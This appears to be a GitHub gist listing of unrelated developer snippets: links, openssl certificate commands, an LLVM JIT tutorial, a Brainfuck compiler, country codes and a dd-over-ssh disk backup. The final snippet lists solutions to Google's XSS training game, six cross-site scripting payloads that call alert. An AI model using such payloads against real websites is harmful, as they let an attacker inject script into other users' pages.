Skip to content

Instantly share code, notes, and snippets.

http://boinc.berkeley.edu/
http://boinc.berkeley.edu/addon_item.php?platform=web&item=http%3A%2F%2Fapps.facebook.com%2Fprocessors%2Fnew.php
http://boinc.berkeley.edu/addon_item.php?platform=web&item=http%3A%2F%2Fapps.facebook.com%2Fboinc_milestones%2F
http://www.mersenne.org/
http://folding.stanford.edu/
http://folding.stanford.edu/home/teams-stats/
http://fold.it/portal/
https://www.torproject.org/about/overview.html.en
https://svn.torproject.org/svn/projects/design-paper/tor-design.pdf
https://svn.torproject.org/svn/projects/roadmaps/2009-03-11-performance.pdf
https://www.torproject.org/getinvolved/relays.html.en
http://www.overclockers.com.au/wiki/Folding_Challenges,_Incentives_and_Awards
http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.114.809&rep=rep1&type=pdf
http://timreview.ca/article/657
# 1. Generate private key
openssl genrsa -out /etc/ssl/private/example.com.key 4096
# 2. Generate Certificate Signing Request (CSR)
# [Fill in details as appropriate leaving email, challenge password, and optional company name empty. Be careful with FQDN!]
openssl req -new -key /etc/ssl/private/example.com.key -out /etc/ssl/private/example.com.csr
# 3. Submit CSR and recieve site certificate
# 4. Set permissions as appropriate
@joesavage
joesavage / gist:00945a6ecc4abb8721cf
Last active August 29, 2015 14:15
LLVM [2.6] JIT Tutorial 1 (OS X, 2015)
// A modified version of the "LLVM JIT Tutorial 1" code from http://goo.gl/1cNfH7
// which actually works with the latest versions of LLVM as of Feb 2015.
//
// To compile if you're on OS X using 'llvm' [libs, etc.] from Homebrew:
// clang++ -g test.cpp `/usr/local/opt/llvm/bin/llvm-config --cxxflags --ldflags --libs core --system-libs` -I/usr/local/opt/llvm/include -o test
#include "llvm/IR/Module.h"
#include "llvm/IR/Function.h"
#include "llvm/PassManager.h"
#include "llvm/IR/CallingConv.h"
@joesavage
joesavage / brainfuck.cpp
Created November 17, 2014 19:28
Brainfuck Compiler/Interpreter
// A small, and relatively primitive, C-style Brainfuck compiler/interpreter.
// Written by Joe Savage, 2014
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <limits.h>
#define STACK_SIZE 512
#define DATA_SIZE 65535
@joesavage
joesavage / gist:84670a2f8ab46a833ed5
Created August 9, 2014 12:52
HTTPPlaysPokemon Controls
<html>
<head>
<style>
html { text-align: center; }
body { background: #222; display: inline-block; }
kbd, .kbd {
cursor: pointer;
font-family: Menlo, Monaco, Consolas, "Courier New", monospace;
width: .8em;
text-align: center;
// ftp://ftp.fu-berlin.de/doc/iso/iso3166-countrycodes.txt
[{ country: "ÅLAND ISLANDS", alpha2: "AX", alpha3: "ALA", number: 248 },
{ country: "AFGHANISTAN", alpha2: "AF", alpha3: "AFG", number: 004 },
{ country: "ALBANIA", alpha2: "AL", alpha3: "ALB", number: 008 },
{ country: "ALGERIA", alpha2: "DZ", alpha3: "DZA", number: 012 },
{ country: "AMERICAN SAMOA", alpha2: "AS", alpha3: "ASM", number: 016 },
{ country: "ANDORRA", alpha2: "AD", alpha3: "AND", number: 020 },
{ country: "ANGOLA", alpha2: "AO", alpha3: "AGO", number: 024 },
{ country: "ANGUILLA", alpha2: "AI", alpha3: "AIA", number: 660 },
{ country: "ANTARCTICA", alpha2: "AQ", alpha3: "ATA", number: 010 },
@joesavage
joesavage / gist:20732b171d4091fb333c
Last active August 29, 2015 14:04
Linode Rescue Mode Disk Backup
## Linode Rescue Mode Disk Backup
# Remote:
dd if=/dev/xvda | gzip -c > linode.img.gz
passwd
/etc/init.d/ssh start
# Local:
ssh root@remote-location "dd if=~/linode.img.gz " | dd of=~/Developer/Backups/Images/linode.img.gz
var results = {}; // Stores results of async calculations
var render = function() { /* ... render the page using 'results' ... */};
var getDatabaseRecords = function(callback) { /* ... async stuff, storing results in 'results' ... */ };
var prepareAssetPaths = function(callback) { /* ... async stuff, storing results in 'results' ... */ };
var tasks = [getDatabaseRecords, prepareAssetPaths],
params = [
[],
My xss-game.appspot.com Solutions
1. <script>alert('hi')</script>
2. <img src="asda" onerror="alert('hi')"/>
3. #' onerror="alert('hi')"
4. ?timer='),alert('hi
5. /signup?next=javascript:alert('hi')
6. #//www.google.com/jsapi?callback=alert